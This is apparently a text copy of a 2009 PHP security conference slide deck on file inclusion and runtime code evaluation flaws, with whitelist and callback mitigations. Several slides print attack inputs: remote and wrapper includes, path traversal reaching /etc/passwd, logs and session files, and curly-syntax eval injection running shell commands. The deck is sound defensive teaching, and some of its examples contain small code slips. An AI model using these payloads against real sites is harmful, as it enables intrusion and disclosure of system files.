Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
100% found this document useful (3 votes)
1K views

PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

The document discusses PHP code inclusion and evaluation. It covers including files and URLs, as well as dynamic inclusion which can pose security risks by allowing execution of arbitrary PHP code. Functions like eval(), create_function(), preg_replace() and assert() allow evaluating code at runtime and carry security risks if used with untrusted data. The document provides examples of issues and approaches to mitigate risks.

Uploaded by

kaplumb_aga
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as PDF, TXT or read online on Scribd
100% found this document useful (3 votes)
1K views

PHP Security Crash Course - 6 - PHP Code Inclusion / Evaluation

The document discusses PHP code inclusion and evaluation. It covers including files and URLs, as well as dynamic inclusion which can pose security risks by allowing execution of arbitrary PHP code. Functions like eval(), create_function(), preg_replace() and assert() allow evaluating code at runtime and carry security risks if used with untrusted data. The document provides examples of issues and approaches to mitigate risks.

Uploaded by

kaplumb_aga
Copyright
© Attribution Non-Commercial (BY-NC)
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 23

Part VI

PHP Code Inclusion

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  1
PHP Code Inclusion

• PHP supports loading other PHP code


• include
• include_once
• require
• require_once
• Loading possible from files and URL streams
• include “/var/www/includes/function.php“;
• include “http://www.example.com/test.php“;

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  2
Static PHP Code Inclusion (I)

• Static inclusion of files


• include “/var/www/includes/functions.php“
• include “topic.php“
• no security problem because it cannot be influenced

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  3
Static PHP Code Inclusion (II)

• Static inclusion of URL Streams


• include “http://www.example.com/test.php“
• include “https://www.example.com/test-ssl.php“
• URL cannot be influenced
• but trusting PHP code from external source
• attackable on network level
➡ potential security problem => should be avoided

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  4
Dynamic PHP Code Inclusion (I)

• Dynamc inclusion
• include $_GET[‘module‘].“.php“
• include “./modules/“. $_GET[‘module‘].“.php“
• Path to include can be influenced
➡ Security problem because path can be changed to
malicious PHP code

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  5
Dynamic PHP Code Inclusion - URLs (I)

• URL Wrapper allows injection of PHP code


• include $_GET[‘module‘].“.php“
• Possible attacks
• include “http://www.example.com/evilcode.txt?.php“;
• include “ftp://ftp.example.com/evilcode.txt?.php“;
• include “data:text/plain;<?php phpinfo();?>.php“;
• include “php://input\0.php“;

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  6
Dynamic PHP Code Inclusion - URLs (II)

• file_exists() is no protection against URL wrappers


if (file_exists($_GET[‘module‘].“.php“))
include $_GET[‘module‘].“.php“;
}

• most URL wrappers do not implement stat()


• but ftp:// wrapper supports stat()
➡ file_exists() check can be bypassed with ftp://

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  7
Dynamic PHP Code Inclusion - Files (I)

• local files can be viewed and locally stored PHP code


can be executed
• include “./modules/“. $_GET[‘module‘].“.php“
• possible attacks
• include “./modules/../../../etc/passwd\0.php“;
• include “./modules/../../../var/log/httpd/access.log\0.php“;
• include “./modules/../../../proc/self/environ\0.php“;
• include “./modules/../../../tmp/sess_XXXXXXXX\0.php“;

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  8
Dynamic PHP Code Inclusion - Files (II)

• protecting include statements should be done with


whitelist approaches
<?php

$allowedModules = array(‘step1‘, ‘step2‘,


‘step3‘, ‘step4‘,
‘step5‘, ‘step6‘);

if (!in_array($module, $allowedModules)) {
$module = $allowedModules[0];
}

include “./modules/$module.php“;
?>

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  9
Part VII
PHP Code Evaluation

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  10
PHP Code Evaluation (I)

• Code compilation and execution at runtime


• in PHP
• eval()
• create_function()
• preg_replace() with /e modifizierer
• assert()

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  11
PHP Code Evaluation (II)

• potential security problem if user input is evaluated


• allows execution of arbitrary PHP code
• should be avoided
• is usually not required

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  12
eval() (I)

• embedding user input always dangerous


• filtering with blacklists nearly impossible
• correct escaping is hard - no default functions
• whitelist approach is recommended

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  13
eval() (II)

• Example:
<?php
eval(‘$s = “‘ . addslashes($_GET[‘val‘]) . ‘“;‘);
?>

• not sufficient secured


• danger of information leaks through variables
• index.php?val=$secretVariable

• danger of code execution through complex curly syntax


• index.php?val={${phpinfo()}}

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  14
Complex Curly Syntax

• documented but nearly unknown


• allows code execution within strings
• only within double quotes
• $s = “foo{${phpinfo()}}bar“;
• $s = “foo{${`ls -la /`}}bar“;
• $s = “foo{${eval(base64_decode(‘...‘))}}bar“;

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  15
eval () Whitelist Protection Approach

<?php

$value = isset($_GET[‘val‘]) ? $_GET[‘val‘] : ‘‘;

if (preg_match(“/^[0-9a-z]*$/iD“, $value)) {

$str = “$s = ‘$value‘;“;


eval($str);

?>

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  16
create_function()

• for temporary / lambda functions


• internally only an eval() wrapper
• same injection danger like eval()
• injection possible in both parameters

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  17
create_function() - Internal Wrapper Function

/* Implementation similar */

function create_function($params, $body)


{
$name = “\0__lambda“;
$name .= $GLOBALS[‘lambda_count‘]++;

$str = “function $name($params) {$body}“;


eval($str);

return $name;
}

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  18
preg_replace() (I)

• /e modifier allows execution of PHP code to modify the


matches
preg_replace(‘/&#([0-9]+);/e‘, ‘chr(\1)‘‚ $source);

• Internally during code construction addslashes() is used


$str = “chr(“;
$str .= addslashes($match1);
$str .= “);“;
eval($str);

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  19
preg_replace() (II)

• potential security problem


• matches could inject PHP code
• depends on regular expression
• depends on position in evaluated code

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  20
Secure Usage of the /e Modifier

• /e Modifier can be used in a secure way


• by using single quotes in the evaluated code instead of
double quotes
preg_replace(‘/&#(.+);/e‘, “strtolower(‘\\1‘)“‚ $source);

• single quotes do not allow complex curly syntax


• single quotes will be correctly escaped
• but best solution is getting rid of evaluated code

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  21
preg_replace_callback()

<?php

/* Callback function */
function pr_callback($match)
{
return chr($match[0]);
}

preg_replace_callback(‘/&#([0-9]+);/e‘,
‘pr_callback‘,
$source);

?>

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  22
Questions ?

Stefan Esser • PHP Security Crash Course at Dutch PHP Conference 2009 •  June 2009 •  23

You might also like